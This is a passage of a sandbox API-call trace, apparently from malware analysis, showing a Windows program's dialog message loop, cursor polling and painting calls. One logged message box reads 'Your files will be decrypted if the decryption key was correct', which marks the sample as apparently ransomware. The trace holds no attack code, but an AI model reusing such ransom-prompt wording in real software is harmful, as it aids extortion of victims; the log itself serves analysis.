lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.338] Sleep (dwMilliseconds=0xa) [0051.353] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.353] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.353] TranslateMessage (lpMsg=0xd72f04f6a0) returned 0 [0051.353] DispatchMessageW (lpMsg=0xd72f04f6a0) returned 0x0 [0051.353] GetForegroundWindow () returned 0xc018a [0051.353] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.353] GetCursorPos (in: lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500*(x=528, y=533)) returned 1 [0051.353] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500) returned 1 [0051.353] GetAsyncKeyState (vKey=1) returned 0 [0051.353] GetAsyncKeyState (vKey=2) returned 0 [0051.353] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.353] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.353] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.353] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.353] Sleep (dwMilliseconds=0xa) [0051.378] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.378] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.378] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.378] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.379] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.379] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.379] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.379] Sleep (dwMilliseconds=0xa) [0051.409] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.409] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.409] TranslateMessage (lpMsg=0xd72f04f6a0) returned 0 [0051.409] DispatchMessageW (lpMsg=0xd72f04f6a0) returned 0x0 [0051.409] GetForegroundWindow () returned 0xc018a [0051.409] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.409] GetCursorPos (in: lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500*(x=528, y=533)) returned 1 [0051.409] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500) returned 1 [0051.409] GetAsyncKeyState (vKey=1) returned 0 [0051.409] GetAsyncKeyState (vKey=2) returned 0 [0051.409] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.410] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.410] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.410] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.410] Sleep (dwMilliseconds=0xa) [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.441] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.441] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.441] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.441] TranslateMessage (lpMsg=0xd72f04f6a0) returned 0 [0051.441] DispatchMessageW (lpMsg=0xd72f04f6a0) returned 0x0 [0051.441] GetForegroundWindow () returned 0xc018a [0051.441] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.441] GetCursorPos (in: lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500*(x=528, y=533)) returned 1 [0051.441] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f500 | out: lpPoint=0xd72f04f500) returned 1 [0051.441] GetAsyncKeyState (vKey=1) returned 0 [0051.441] GetAsyncKeyState (vKey=2) returned 0 [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.441] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.445] Sleep (dwMilliseconds=0xa) [0051.473] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.473] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.473] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x210, wParam=0x201, lParam=0x19f00cf) returned 0x0 [0051.473] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.473] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x21, wParam=0xc018a, lParam=0x2010001) returned 0x1 [0051.473] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.473] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.473] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x20, wParam=0xc01e6, lParam=0x2010001) returned 0x0 [0051.473] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.473] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.473] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.473] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0051.473] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.473] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.473] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.474] IsWindow (hWnd=0xc01e6) returned 1 [0051.474] IsWindowEnabled (hWnd=0xc01e6) returned 1 [0051.474] GetCursorPos (in: lpPoint=0xd72f04ef90 | out: lpPoint=0xd72f04ef90*(x=528, y=533)) returned 1 [0051.474] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04ef90 | out: lpPoint=0xd72f04ef90) returned 1 [0051.474] GetAsyncKeyState (vKey=1) returned 1 [0051.474] GetAsyncKeyState (vKey=2) returned 0 [0051.474] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x20, wParam=0xc01e6, lParam=0x2000001) returned 0x0 [0051.474] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.474] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.474] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.474] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.474] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.474] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.474] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.474] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.474] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.474] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.475] SetWindowTextW (hWnd=0x9011c, lpString="") returned 1 [0051.476] SendMessageW (hWnd=0x9011c, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0051.476] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.476] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.476] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.476] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.476] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.476] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.476] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.476] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.476] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0x0 [0051.476] SetBkColor (hdc=0x1601069e, color=0x0) returned 0xffffff [0051.476] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.476] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.476] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.476] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.476] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.476] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0051.476] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.477] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.477] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.477] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.477] GetWindowLongPtrW (hWnd=0x9011c, nIndex=-21) returned 0x4 [0051.477] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.477] SetTextColor (hdc=0x1601069e, color=0xff00) returned 0xff00 [0051.477] SetBkColor (hdc=0x1601069e, color=0x0) returned 0x0 [0051.477] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0051.477] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0051.495] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.495] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x0, lParam=0x40206) returned 0x1 [0051.496] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.496] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.496] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x0, lParam=0x40206) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x20, wParam=0xc01e6, lParam=0x2000001) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.505] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.505] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.505] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.505] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.505] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.505] GetForegroundWindow () returned 0x40206 [0051.505] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.508] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.508] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.508] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee70) returned 0x0 [0051.508] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.509] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.509] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.509] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.509] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.509] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04e970) returned 0x0 [0051.532] GetForegroundWindow () returned 0x40206 [0051.532] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.576] Shell_NotifyIconW (dwMessage=0x1, lpData=0xd72f04e770) returned 1 [0051.577] KillTimer (hWnd=0xb002c, uIDEvent=0x1) returned 1 [0051.577] SetTimer (hWnd=0xb002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0051.577] GetForegroundWindow () returned 0x40206 [0051.577] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.625] GetForegroundWindow () returned 0x40206 [0051.625] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.670] GetForegroundWindow () returned 0x40206 [0051.670] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.720] GetForegroundWindow () returned 0x40206 [0051.720] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.768] GetForegroundWindow () returned 0x40206 [0051.768] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.811] GetForegroundWindow () returned 0x15017e [0051.811] GetWindowLongPtrW (hWnd=0x15017e, nIndex=-21) returned 0x0 [0051.858] GetForegroundWindow () returned 0x40206 [0051.858] GetWindowLongPtrW (hWnd=0x40206, nIndex=-21) returned 0xd72f04f510 [0051.879] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.879] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x46, wParam=0x0, lParam=0xd72f04f0d0) returned 0x0 [0051.879] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.879] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x47, wParam=0x0, lParam=0xd72f04f0d0) returned 0x0 [0051.879] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.879] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0051.879] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0051.879] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.879] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0051.880] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.880] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.880] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0051.882] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.882] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.882] GetWindowLongW (hWnd=0xc018a, nIndex=-20) returned 256 [0051.882] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x84, wParam=0x0, lParam=0x1f70367) returned 0x1 [0051.882] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.882] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetClientRect (in: hWnd=0xc018a, lpRect=0xd72f04f350 | out: lpRect=0xd72f04f350) returned 1 [0051.883] GetCursorPos (in: lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370*(x=871, y=503)) returned 1 [0051.883] ScreenToClient (in: hWnd=0xc018a, lpPoint=0xd72f04f370 | out: lpPoint=0xd72f04f370) returned 1 [0051.883] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0051.883] SetCursor (hCursor=0x10003) returned 0x10003 [0051.883] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.883] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x200, wParam=0x0, lParam=0x1810226) returned 0x0 [0051.883] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.883] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.883] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x14, wParam=0xffffffffee010679, lParam=0x0) returned 0x1 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.883] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x318, wParam=0xffffffffee010679, lParam=0x4) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetSysColor (nIndex=15) returned 0xf0f0f0 [0051.883] SetBkColor (hdc=0xffffffffee010679, color=0xf0f0f0) returned 0xf0f0f0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.883] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc018a, nIndex=-21) returned 0x0 [0051.883] GetWindowLongPtrW (hWnd=0xc01e6, nIndex=-21) returned 0x3 [0051.883] NtdllDialogWndProc_W (hDlg=0xc018a, Msg=0x4e, wParam=0x3, lParam=0xd72f04ee40) returned 0x0 [0051.884] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0051.884] TranslateAcceleratorW (hWnd=0xc018a, hAccTable=0x2a01c7, lpMsg=0xd72f04f6a0) returned 0 [0051.884] IsDialogMessageW (hDlg=0xc018a, lpMsg=0xd72f04f6a0) returned 1 [0051.884] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, 